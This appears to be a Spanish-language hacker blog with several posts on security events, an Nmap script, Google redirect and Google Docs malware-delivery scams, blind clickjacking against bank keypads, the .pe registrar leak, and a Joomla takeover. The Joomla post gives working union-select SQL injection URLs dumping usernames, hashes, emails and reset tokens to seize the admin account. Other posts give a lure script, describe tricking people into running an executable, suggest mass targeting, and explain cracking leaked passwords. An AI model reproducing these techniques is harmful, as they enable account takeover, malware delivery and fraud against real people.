Owasp Latam Tour 2013

Bueno y empezando el 2013 les traigo la noticia de que se realizará el Owasp Latam Tour, a diferencia de los años pasados esta vez hay varios expositores internacionales entre ellos DragoN (Colombia); Pablo Ramos (Argentina), A quien tuve la oportunidad de conoces en el LimaHack2012; Fabio Cerullo (Argentina) y Simon Bennetts (UK). Entre los Peruanos estamos Carlos Ganoza AkA Dr.Neox y Yo Camilo Galdos AkA Dedalo...


En las charlas internacionales tenemos las charlas:

• Del USB a la web: cómo tu sitio propaga malware
• Desarrollo Seguro usando OWASP
• Zed Attack Proxy (ZAP)
• Pentesting en la era POST-PC

Y en las peruanas se presentarán 2 "nuevas" t00ls, El watiqay de Dr.Neox que ya la había presentado el año pasado y que fue adoptado como una herramienta mas de owasp, pero que ahora va a presentar una nueva versión de esta t00l con nuevas características o al menos eso es lo que me ha comentado Carlos en nuestras charlas post oficina. En mi caso he desarrollado una herramienta que nos va a ayudar a encontrar Xss Reflejados y Dom solo proporsionando una URL.

Espero verlos ese día porque el evento promete.

Mas Información del Evento y los Talleres que habrán... Click aquí

Para registrarse en el evento click Aquí

Saludos,

Dedalo.

Malware Propagation With Google Redirects

No estaba muy decidido de escribir la entrada pero Alguien me termino por convencer entre ellas otra es que pensaba escribir esta entrada en ingles pero después pensé y perdería un poco la esencia del blog ya que siempre ha sido en español y bueno ahora sigamos con esto...


Encontré en los últimos meses varios redirects en google pero un par son los que me llamaron la atención para poder hacer un post en mi blog, ya es casi obvio que google no los aceptó pues los redirects no valen en su programa de reporte de vulnerabilidades así pasó la anterior vez con la propagación de malware mediante google docs.


El primer caso de Redirect es el de Voy a tener suerte, estaba haciendo un script para la empresa donde trabajo y me encontré con esto mientras cambiaba de user agents hay un boton de voy a tener suerte que ya ni se puede usar pero habia un link algo interesante...

https://www.google.com.pe/search?q=SeguridadBlanca&btnI=

Bueno si le dan click ven que los lleva a SeguridadBlanca entonces dije WTF como carajos? y luego leyendo un poco de google y su historico llegué a que era del botón I'm Feeling Lucky y la cosa es que ese link la palabra despues de q= y teniendo ese &btnI lleva directo al primer resultado que esté con esa palabra. Por decir el blog de mi gran amigo Alguien... (AlguienEnLaFisi) si buscamos en google:

https://www.google.com.pe/search?q=AlguienEnLaFisi

El primer Resultado es

http://alguienenlafisi.blogspot.com y pues por ĺógica lo que escribí antes...

https://www.google.com.pe/search?q=AlguienEnLaFisi&btnI=

Debería llevarnos al blog de Alguien... Prueben con cualquier site...

si ponen q= perucom o actualidadrt o wikileaks o quien sabe que pero esa palabra vean el primer resultado y ese es el que irá cuando pongan btnI entonces como usar esto para propagar malware aunque a estas alturas si han leido todo ya deben sacar unas cuantas conclusiones compramos un dominio con nombre raro o un blogspot con un nombre especial digamos:

34kj4kjklk3.com y pues luego que? ponemos q=34kj4kjklk3com nos llevara directo a 34kj4kjklk3.com  y listo ya tenemos un vector de acceso a nuestro malware mediante una url que dice google.com se facilitan mucho las opciones de convencer a nuestra victima de que entre a nuestro malware...


Bueno ese fue el primer caso ahora el segundo caso...

Verán encontré un redirect en un flash... y va algo asi:

http://pagead2.googlesyndication.com/pagead/imgad?id=CICAgICQs_GezwEQrAIY-gEyCIghaR0-OeNd&clickTAG=AquiLAURL


Como pueden ver es un flash de un juego ahora lo que nosotros podemos hacer es que? hacer que al darle click a ese flash lo lleve a cualquier lado les propongo algo primero confirmemos...


http://pagead2.googlesyndication.com/pagead/imgad?id=CICAgICQs_GezwEQrAIY-gEyCIghaR0-OeNd&clickTAG=http://seguridadblanca.com

Clickeen el flash y los debe llevar a seguridadblanca... ahora como haríamos algún scam convincente?

se me ocurre crear un .html subirlo en tu hosting malicioso y poner algo asi:

	<script>
	alert('To play the game you have to Execute as Administrator The install_flash_player.Exe');
	location.href="http://fpdownload.macromedia.com /get/flashplayer/pdc/11.5.502.110/install_flash_player.exe";
	</script>
	<!-- this is just example -->

Ahí lo que hago es que se baje el flash original pero pónganse a pensar como sería masivo a publico 13-18 y pues con su .exe malwareado.



Bueno este post era para compartir la importancia de los Redirects. Así sea que google no los considere.


OWASP CATEGORY: A10: Unvalidated Redirects and Forwards


Saludos,
Dedalo

NLAS - Nmap Lan Auditing Script [BETA]

NLAS - Nmap Lan Auditing Script

NLAS es una scriptsito que hice para facilitarme un poco la vida, así hice un par mas pero este es uno de los que me he atrevido a hacer release. 

Bueno básicamente lo hice basado en necesidad no se si les ha pasado que tienen que analizar una LAN y pues primero cogen y hacen un ifconfig ven el netmask que tienen ven la ip que tienen basado en eso quizás hacen un traceroute y bueno después de algunos otros pasos dependiendo abren el queridisimo nmap. 

Para los que recién empiezan pues no recordarán mucho que parámetros del nmap usar o no están seguros cual usar y probablemente lo que tiendes a lanzar es un -v -A porque lo ves ahi cada vez que carga tu nmap o me equivoco? yo también hacia eso luego ya aprendí un poco mas luego me pasaron unos pdfs y fui aprendiendo cada vez mas y en fin se como es que quieras tratar de auditar y no sepas ni por donde empezar entonces como podrás ver en esta tool se ve en el código fuente los parametros que se usan claramente y si sabes un poco de python mucho mejor.

Para los que ya son mas avanzados seguro les ha pasado que van a lanzar un scaneo y de pronto después de 10 min de scan en el mejor de los casos te das cuenta que no le pusiste -sV o en cierto caso --reason entonces lo que hará NLAS por ti será que si deseas lo editas un poco a tu manera o si deseas lo usas así pero ya tiene los parámetros puestos no tendrás que escribirlos siempre, una y otra vez.

¿Como usa Dedalo NLAS?

Bueno pues yo lo que generalmente hago es levanto una virtual en mi pc le intento hacer ping en el caso de que si le pueda hacer ping basado en mi necesidad le mando un FAST SCAN o un FULL Scan a toda la subnet las que estén muertas (no se le hace ping) no las scanea, en el caso de que no pueda hacer ping probablemente lanze ataque basado en mi necesidad Usando un Try to Bypass Firewall... la tool no es la mejor y aun tiene fallas que irán mejorando esto es solo una version BETA En el futuro ya sea de aqui a una semana, dos o tres espero sacar una version mejor con mejores funciones. En fin espero les sirva en el momento de auditar.

IR al SourceForge de NLAS O Descargar Directamente

Saludos,

Dedalo.

Click Jacking a ciegas

Como algunos que me siguen en twitter ya se habrán dado cuenta pues ando de Xss Researcher en mis tiempos libres.

Hoy en la madrugada viendo unas cosas de CSS y luego de un rato un poco de researching de xss vi que alguien había escrito sobre esto:

<body style="cursor:none;">

Así es con css podemos hacer que el cursor desaparezca... entonces se pone interesante el caso no creen? lo que a mi se me ocurre así ligeramente digo y si creo un payload que haga que desaparesca el cursor y de click donde yo quiero haciendole creer que está en una posición en la que no...

Ya había visto algo parecido a esto en una época en la que usaban esto para que le dieras like a ciertos enlaces en facebook.

Bueno así a groso modo digamos que vamos a hacer que este poc se ejecute a través de un .js digamos que en nuestra victima es un banco nosotros podemos hacer en un teclado que no cambie posiciones que al dar click al 1 se apriete el 6 al dar click al 8 se apriete el 9 y así su transferencia se haría a nuestra cuenta mas no a la que la victima realmente quería transferirle.


me tocó buscar un buen rato la funcion addEventListener mediante la cual se puede dar una especie de lectura de funciones del js.

Bueno mi interés por esta técnica y mi madrugada y mañana de programador me propuse hacer un PoC code...


Se los dejo acontinuación...

Click para ir al  POC o para ver el código


Espero les haya parecido interesante porque a mi si me parecio...


Saludos,
Dedalo

#LimaHack2012 - Lo que fue

Me tardé un poco en hacer esto, pero por ahí dicen mas vale tarde que nunca...


El evento para que decir menos... estuvo de la CSM. El primer día fueron mis dos presentaciones en una me fue mejor que en otra pero al fin y al cabo las dí... hubo bastante gente en el evento, las presentaciones en general estuvieron cheveres.


Se hizo el reto de Eset que lo ganó g05u, y el CTF (InkaGame) que lo ganó Null-Life...


así también hubo la chupadera después del LimaHack que terminó en bomba los 2 días el primero con unos y el segundo con otros, conocí a varios de fuera de lima: ratasxy, que me sorprendio con el gran conocimiento que se manejaba, mxprm que dió su charla a la cual me hubiese encantado ir, charla de Xss pero hubo un problema con los horarios y no pude, en fin... también conocí a pablo ramos de ESET, a Luis Alberto Solís de EC entre otros la verdad fueron muy buenas experiencias, yo no tomé fotos por lo que se me hace difícil subirlas pero si hay fotos con Perverths0, Dr.Neox, Ratasxy, Alguien, Wirito, entre otros.


Espero el próximo año vayan porque la verdad cada año se pone mejor, yo desde ahorita ya estoy pensando en mi tema porque desde ya me apunto a que quiero ir, no saben lo que se siente estar ahí adelante... Espero manden sus papers ustedes también el próximo año.


Así también les dejo mis presentaciones y las demos.

Presentaciones del LimaHack2012


Este es el Buscador de Sql Injections.


Este es La Shell que tuve que hacer...


Y Bueno este es el Autorooter...


Hay un par que me tomé el trabajo de subirlos en HD :) voy a comenzar a hacer videotutoriales porque ya tengo programita recorder en mi PC así que ahí nos vemos :)


PD: Aun no se sabe si habrán replicas pero las posteare aquí en el caso de que haya...


Saludos,
Dedalo

Si Hackearon la RCP

A ver primero que nada si, si hubo hackeo y te recomiendo que cambies tu password en este instante.

 Luego puedes seguir leyendo...


La RCP (punto.pe) fue atacada por LulzSecPerú mediante una SQL Injection (http://pastebin.com/RAF75gTt) que posteriormente se transformó en un ataque masivo al servidor de la misma organización, Mas de 200k Personas fueron sometidas ante este ataque, su información fue publicada en un archivo .sql que contenia 3 columnas fundamentales las del DNI, la CLAVE y la CLAVE2

No hace falta ser un genio para decifrar mas del 50% de las claves ni usar programas sumanete 1337 ni escondidos por la Internet, has un sha1(clave2) y comparalo con clave y fácilmente se sabrá a que las claves son iguales entonces ya tenemos 50% de las claves en texto plano... Ahora lectores yo les pregunto de ese 50% o 60% porque algunos usan como clave el mismo usuario o palabras simples como 123456, admin123, qweasdzxc, entre otras, cuantos de ellos usan esa misma clave en su correo? facebook? blog? twitter? etc? se ha hecho un disclosure tan grande que pues al dejarse vulnerar la RCP dejó libre las passwords en texto plano que probando con un simple script podríamos hackear cientos de correos, así como facebooks, twitters y mucho más, sin embargo aun no entiendo donde está el punto:

http://pe.lamula.pe/2012/10/20/comunicado-del-punto-pe-sobre-seguridad-de-informacion-de-nombres-de-dominio-pe/pe


Ahí dicen que está resguardado todo pero piensenlo, que resguardado puede estar si estamos perdiendo nuestra información que es tan valiosa, han regalado al mundo Documentos Nacionales de Identidad, Direcciones, Correos, Passwords, Usuarios y Mucho más de miles de peruanos entre ellos entidades Gubernamentales y bancarias.


http://static.anonhtml.com/ada43335fc.html


En ese link del cual el html completo lo podemos encontrar en:

http://pastebin.com/d6scETnk


En el cual se ve que los de LulzSecPeru tuvieron acceso en una Shell al Hosting completo es decir hicieron y deshicieron con tu información, esto es multa creo yo, no se mucho de leyes pero el regalar tu información así deberían indemnizar a cada una de las personas que tenga su dominio ahí y haya sufrido de information disclosure, pues creo que alguien debería estarlos regulando continuamente para asegurarse que cosas como estas no pasen.


En todo caso esperemos que la ICANN tome cartas en el asunto y les sancione con el respectivo peso de la ley a la RCP y obviamente esto repercuta en que aseguren mejor sus servidores así como para que bajen el precio de sus dominios estos inconscientes, en Argentina regalan los dominios lectores, los regalan por 1 año son tuyos gratis.


LulzSecPeru Gracias por abrirnos los ojos a muchos de lo inseguros que estabamos confiándole nuestros datos a la RCP.


PD: Obviamente durante el fin de semana la RCP corrió para que pastebin borrara donde decía toda la información de la BD y colgaba el link con la base de datos completa pero LulzSecPeru la volverá a subir cuantas veces quiera, La Información ya fue obtenida no hay marcha atrás.

Lectores quien nos devolverá toda nuestra información, cuanto phishing, cuanto spam les llegará a sus correos ahora? cuantos correos de viagra les llegará desde ahora? piensen la RCP regaló su Información.

Que indignación.


Referencias:

http://webcache.googleusercontent.com/search?q=cache:M1BetiE_wcwJ:pastebin.com/bjHVrr4n+pastebin+lulzsecperu&cd=1&hl=es&ct=clnk&gl=pe

Lo que mandó a borrar la RCP, baja la base de datos y confirma que tu información está ahi.


The Hacker News lo Dijo:

http://thehackernews.com/2012/10/peru-domains-registrar-hacked-and.html#sthash.5xRCUoTJ.dpbs




Saludos,
Dedalo

LimaHack 2012 | Antes que se acabe el mundo.

Y bueno el mayor evento de (In)Seguridad Informática del Perú abrió sus Inscripciones ayer, este año promete mucho han venido dos ponentes extranjeros uno de ellos Pablo Ramos (@ramospablo) de ESET Latino América, así como el también se destacan algunos ponentes peruanos con sus charlas de Cracking, de Malware y Rootkits, de Inyecciones SQL, De inyecciones NOSql de Bypassde WAF y muchos mas. Este año también son 2 dias de evento con charlas en simultáneo, es sorprende como ha crecido el evento desde el 2009 cuando empezó, Las Inscripciones ya están disponibles y te puedes registrar dándo click aquí.   La agenda del evento como repito está muy prometedora la pueden ver desde aquí mismo o dándo click aquí:



Aun que todas las charlas van a estar buenas me gustaría recalcar algunas que me gustarían asistan:


Find In Set - Apúrate con la extracción de datos Será expuesta por Cesar Neira AkA Alguien y Expondrá sobre técnicas rápidas de extracciones de datos en las Blind Sqli Injection.

Cracking 101 Será expuesta por Elysa Garcia AkA Ashyle y Expondrá sobre Cracking para gente que recién está empezando (Yo iré a escuchar porque no se nada de cracking).

Rootkits: A look inside Será expuesta por Josue Rojas AkA Nox y Expondrá sobre los rootkits y sus funciones básicas además de sus niveles de privilegios de ejecución.

Bypassing WAF Advanced Será expuesta por Bryan Huaman, El expondrá sobre técnicas avanzadas de como bypassear WAFs para todo tipo de inyecciones.

Inyecciones NoSQL, atacando bases de datos no relacionales Será expuesta por Carlos Ganoza AkA Dr.Neox y Expondrá sobre como inyectar en códigos vulnerables a Bases de Datos no Relacionales.

Vulnerando la seguridad de AppWeb desarrollados con GWT Será expuesta por Everth Gallegos AkA PerverthsO y Expondrá sobre como vulnerar las Aplicaciones desarrolladas con Google Web Toolkit Muy Interesante!


Bueno Esas son las charlas que recomiendo, no olviden también pasar por las mias

Viviendo Anónimo en la cual hablaré sobre como mantenerse anónimo en internet, robar internet y configurar vpns y proxies Y a la charla de Como Llegar al TOP de Zone-H en el cual mostraré trucos que usan los Defacers para atacar mas rápido, t00ls, técnicas, r00texpl0its, etc y como protegerse de estos.


Espero verlos en el Limahack y Este Año hay HashTag #LIMAHACK2012 Usenlo!!!



Saludos,
Dedalo

Propagando Malware Mediante Google Docs

Intro: El Bug ya fue reportado pero no lo tomaron como "Security Issue". Asi que Procedo a publicarlo...

Hace unos días encontré un bug en google docs, encontré un documento con error y me aparecía el siguiente mensaje:

la url era la siguiente:

https://docs.google.com/gview?url=https://docs.google.com/document/d/1lwCisOUXXIZPiGZkl9JPJmwU95nWk9RYhbf48lo9Hw0/export?format=doc&id=1lwCisOUXXIZPiGZkl9JPJmwU95nWk9RYhbf48lo9Hw0&embedded=true&pli=1

entonces dije y que pasa si cambio la url del documento a javascript:alert(1); esperando yo que se ejecutara y pueda haber encontrado otro Xss pero... no se ejecuto osea si pero me bloqueaba y me salia en la barra de estado javascriptalert(1); y al dar click no pasaba nada entonces en la url puse insecurityperu.org y al dar click... me llevo a insecurityperu.org... entonces lei bien el texto y pues era de los mejores scams que había visto en mi vida, hosteado en google docs, poder poner la url que quiera y el click era muy convincente...

Vamos al PoC...

subí a un host un programita que tengo que solo habre FORM y nada mas... le puse un ícono igual al de word y pues lo subí... la url se veia algo asi:


https://docs.google.com/gview?url=http://xxx.xxx.xxx.xxx/bullying_en_lima.exe&embedded=true&pli=1

tenía que hacer un trabajo en la Universidad sobre bullying y le pasé la url a un amigo de la u pero antes para hacerlo mas convincente lo puse en un url shortener...

https://docs.google.com/gview?url=http://ow.ly/xxxxx&embedded=true&pli=1

le dije a mi brother... oe loco encontré este documento que tal es y el weon bien creido entro dio click y se lo bajo lo abrio y me dijo oe loco me sale un programa abierto que dice hola y nada mas...

hice la misma prueba con los otros 3 integrantes de mi grupo y todos lo bajaron y me preguntaron casi lo mismo el otro integrante es vago y no lo bajo pero aun asi me dijo que era interesante el articulo xD

Me lo hice un poco mas difícil y le hablé por facebook a una persona que no conosco (de los que te agregan y aceptas nada mas) y le dije hola me respondio después de minutos de conversación me aventure a decirle que había hecho unos balances de mi empresa de chocolates y le dije si le parecían buenos  mandandole el link igual solo que el icono esta vez era de un .xls y adivinen que pasó... si me dijo que se le veia una ventanita que decía hola...


Ahora y si escogemos una buena base de datos de clientes de alguna empresa y mandamos el link con un "archivo de cotizaciones?".


OWASP CATEGORY: A10: Unvalidated Redirects and Forwards


Saludos,
Dedalo

Ganando Admin en Joomla Mediante Token

Después de varias semanas de inactividad les traigo este topic que escribo junto a Mandrake Murdock en el cual explicamos un caso con el que nos encontramos el día de hoy y nos ha parecido tan interesante por lo cual hoy escribiremos este post.

Resulta que encontramos una Sqli en un joomla:

http://webvuln.com/libros/index.php?id=999999999%20union%20all%20select%201,version(),3--


luego seguimos con la injection y nos encontramos con lo siguiente:


http://webvuln.com/libros/index.php?id=999999999%20union%20all%20select%201,concat(username,0x3a,password),3+FROM+jos_users--

El password no estaba por ninguna base de datos de hashes ni nada era muy complicado sacarla entonces como hacemos... en la versiones antiguas de joomla en el momento que olvidas tu contraseña, se envia un email a tu correo con un token ese token lo ingresas en un textbox y te permite ingresar una contraseña nueva, este token se guarda en la base de datos por lo cual nosotros lo que podríamos hacer es lo siguiente:


Vamos a este link: http://webvuln.com/index.php?option=com_user&view=reset entonces te va a pedir que ingreses un correo, ahi pones el correo del administrador:

http://webvuln.com/libros/index.php?id=999999999%20union%20all%20select%201,email,3+FROM+jos_users--

y luego vamos a la base de datos y buscamos un nuevo campo que se ha creado con el token del cual previamente hemos hablado.


http://webvuln.com/libros/index.php?id=999999999%20union%20all%20select%201,activation,3+FROM+jos_users--

Copiamos el token que se nos ha generado y lo pegamos en:


http://webvuln.com/index.php?option=com_user&view=reset&layout=confirm

Le damos click en enviar y luego podremos ingresar una nueva contraseña la que querramos... luego vamos a


http://webvuln.com/administrator/

y listo nos logueamos con el usuario admin y con la password que pusimos antes... y ya estamos a un pequeño pasa de como subir nuestra shell...